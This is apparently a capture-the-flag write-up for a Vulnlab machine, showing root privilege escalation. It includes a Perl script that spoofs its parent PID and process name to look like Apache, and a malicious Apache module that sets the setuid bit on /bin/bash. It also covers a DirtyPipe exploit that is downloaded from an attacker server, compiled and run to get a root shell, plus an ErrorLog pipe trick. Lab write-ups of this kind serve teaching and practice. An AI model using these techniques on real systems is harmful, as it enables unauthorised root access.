       # Replace apache2 with apache2ctl and add -t for test  
       cmd="${_cmd/apache2/apache2ctl} -t"  
       $cmd >/dev/null 2>&1  
       RET=$?  
done <<< $(/usr/bin/pgrep -P 1 -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")  
if [[ $RET -eq 0 ]] ; then  
       echo 'Configuration correct. \o/'  
else  
       echo 'Configuration broken. Please fix immediately!' >&2  
fi  
exit $RET

The script uses /usr/bin/pgrep to target processes with a PPID of 1 that match a specific command line pattern ("^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf"). In Unix-like systems, processes with a PPID of 1 are typically those re-parented to the init process. For each process it identifies, the script replaces apache2 with apache2ctl -t. The command apache2ctl -t is an Apache control command used to test the syntax of the Apache configuration files.

The script starts by setting $0 to a custom string. This effectively changes the command line appearance of the script when viewed in process monitoring tools like ps or top. It’s a technique often used to disguise a process’s true nature or intent, making the script appear as an Apache server process in this case, so the script will

The core of the script involves a process known as “double forking.” It first creates a child process and immediately exits the parent. This orphaned child process is then adopted by the init process, typically assigned PID 1. The script forks a second time to ensure it doesn’t acquire a controlling terminal, which is a standard step in daemonizing a process. This two-step forking process results in the script running as a background process, detached from the terminal, and its PPID spoofed to appear as 1, mimicking a system or service process.

#!/usr/bin/perl  
  
use POSIX qw(setsid);  
  
# fork and exit parent  
my $pid = fork();  
exit if $pid;  
die "Couldn't fork: $!" unless defined($pid);  
  
# Detach from controlling terminal and create a new session  
setsid() or die "Can't start a new session: $!";  
  
# Fork again to ensure we can't acquire a controlling terminal  
$pid = fork();  
exit if $pid;  
die "Couldn't fork: $!" unless defined($pid);  
  
# Change working directory  
chdir '/' or die "Can't chdir to /: $!";  
  
# Close file descriptors and reopen them to /dev/null  
close STDIN;  
close STDOUT;  
close STDERR;  
open STDIN, '/dev/null';  
open STDOUT, '>/dev/null';  
open STDERR, '>/dev/null';  
  
# Set the name of the process  
$0 = "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /home/zroadmin/apache2";  
  
# Sleep and wait for the script to run  
sleep(100000);

Next we need to compile a custom apache module, which will execute arbitrary comamnds:

#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"
#include "http_log.h"

static const char *privesc(cmd_parms *cmd, void *cfg, const char *arg) {
    int ret = system("chmod u+s /bin/bash");
    if (ret != 0) {
        ap_log_error(APLOG_MARK, APLOG_ERR, 0, cmd->server, "Failed to execute 'chmod u+s /bin/bash'. Return code: %d", ret);
    }
    return NULL;
}

static const command_rec privesc_directives[] = {
    AP_INIT_TAKE1("privesc", privesc, NULL, RSRC_CONF, "A directive to execute 'chmod u+s /bin/bash'"),
    {NULL}
};

static void privesc_register_hooks(apr_pool_t *pool) {
    // Hook registration can be added here if needed
}

module AP_MODULE_DECLARE_DATA privesc_module = {
    STANDARD20_MODULE_STUFF,
    NULL, // Per-directory configuration handler
    NULL, // Merge handler for per-directory configurations
    NULL, // Per-server configuration handler
    NULL, // Merge handler for per-server configurations
    privesc_directives, // Module directives
    privesc_register_hooks // Register hooks
};

Next, we’ll compile a custom Apache module with axps capable of executing specific commands:

zroadmin@ip-10-10-10-13:~$ apxs -c mod_privesc.c    
/usr/share/apr-1.0/build/libtool  --mode=compile --tag=disable-static x86_64-linux-gnu-gcc -prefer-pic -pipe -g -O2 -fstack-protector-strong -Wformat -W  
error=format-security  -Wdate-time -D_FORTIFY_SOURCE=2   -DLINUX -D_REENTRANT -D_GNU_SOURCE  -pthread  -I/usr/include/apache2  -I/usr/include/apr-1.0     
-I/usr/include/apr-1.0 -I/usr/include  -c -o mod_privesc.lo mod_privesc.c && touch mod_privesc.slo  
libtool: compile:  x86_64-linux-gnu-gcc -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -  
D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c mod_privesc.c  -fPIC -DPIC -o  
.libs/mod_privesc.o  
/usr/share/apr-1.0/build/libtool  --mode=link --tag=disable-static x86_64-linux-gnu-gcc -Wl,--as-needed -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now  
   -o mod_privesc.la  -rpath /usr/lib/apache2/modules -module -avoid-version    mod_privesc.lo  
libtool: link: rm -fr  .libs/mod_privesc.la .libs/mod_privesc.lai .libs/mod_privesc.so  
libtool: link: x86_64-linux-gnu-gcc -shared  -fPIC -DPIC  .libs/mod_privesc.o    -Wl,--as-needed -Wl,-Bsymbolic-functions -Wl,-z -Wl,relro -Wl,-z -Wl,no  
w   -Wl,-soname -Wl,mod_privesc.so -o .libs/mod_privesc.so  
libtool: link: ( cd ".libs" && rm -f "mod_privesc.la" && ln -s "../mod_privesc.la" "mod_privesc.la" )  

The apache2.conf needs to be modified like this, to ensure the library is loaded and called:

zroadmin@ip-10-10-10-13:~$ tail -n 5 apache2/apache2.conf    
IncludeOptional sites-enabled/*.conf  
  
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet  
LoadModule privesc_module /home/zroadmin/apache2/modules/mod_privesc.so  
privesc "yes"

Now we can run the perl script which will PPID spoof and cmdline spoof the process:

zroadmin@ip-10-10-10-13:~$ perl trigger.pl &  
[1] 11235

The new process will be listed like this:

zroadmin@ip-10-10-10-13:~$ ps auxf | grep 'zroadmin/apache2'  
zroadmin   11291  0.0  0.2  14500  2244 ?        S    14:41   0:00 /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /home/zroadmin/apache2

With pspy64 we can check for the execution of the /usr/local/bin/zro.web-confcheck script and also see that the arbitrary command execution trough the so file will be executed by UID=0

2023/12/30 14:12:13 CMD: UID=0     PID=10139  | /usr/bin/bash /usr/local/bin/zro.web-confcheck    
2023/12/30 14:12:13 CMD: UID=0     PID=10140  | /bin/sh /opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /home/zroadmin/apache2 -E /tmp/log.t  
xt -t    
2023/12/30 14:12:13 CMD: UID=0     PID=10141  | /bin/sh /opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /home/zroadmin/apache2 -E /tmp/log.t  
xt -t    
2023/12/30 14:12:13 CMD: UID=0     PID=10142  | /usr/sbin/apache2 -k start -d /opt/zroweb/conf -d /home/zroadmin/apache2 -E /tmp/log.txt -t    
2023/12/30 14:12:13 CMD: UID=0     PID=10143  | sh -c chmod u+s /bin/bash
zroadmin@ip-10-10-10-13:~$ /bin/bash -p  
bash-5.0# id  
uid=666(zroadmin) gid=666(zroadmin) euid=0(root) groups=666(zroadmin)

Unintended way - CVE-2022-0847 (DirtyPipe)

We upload and execute Linpeas that show us this machine is vulnerable against dirty pipe.

We use this exploit CVE-2022-0847-DirtyPipe-Exploits.

$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git

Set a local web server:

$ python3 -m http.server 80                                                                                                    
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We uploaded exploits to the target:

zroadmin@ip-10-10-10-13:/tmp$ curl 10.8.4.253/compile.sh -o compile.sh
zroadmin@ip-10-10-10-13:/tmp$ curl 10.8.4.253/exploit-1.c -o exploit-1.c
zroadmin@ip-10-10-10-13:/tmp$ curl 10.8.4.253/exploit-2.c -o exploit-2.c

We compile them on the target:

zroadmin@ip-10-10-10-13:/tmp$ chmod +x compile.sh                
zroadmin@ip-10-10-10-13:/tmp$ ./compile.sh

Then let’s go:

zroadmin@ip-10-10-10-13:/tmp$ ./exploit-1
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
VL{5a180daad2a95f2e80a0e66cbd7ed682}

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=3c1c9a45-6145-4cd3-99ac-27917b5bf0d0

ZERO

JKR way

For completeness: Neither dirtypipe or any other things that came up in the meantime are the intended solution for root. The intended solution for root is a variation of what darkcat writes: the idea is to spoof the proctitle of the monitored binary so that you can inject your own configuration into apachectl. Then my idea was to have a custom module (it’s just a shared library) being loaded that executes code. Think this is what szymex also did and also that it the reason why I left apxs on the box. In the meantime I found a real neat unintended solution that involves getting Apache itself to run code. Once you can get rid of the -t in the command line a complete Apache process will be started instead of only a configuration test being run. This can be exploited by adding a logger pipe to the own apache config:

zroadmin@ip-10-10-10-13:~$ grep ErrorLog /tmp/F/apache2.conf 
ErrorLog "|/tmp/pwned.sh"

You can get rid of the -t by prefixing it with a -D (which would just define -t as whatever) like this:

#!/usr/bin/perl
$0 = "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf/x -d /tmp/F -e trace6 -D ";
sleep(10000000000);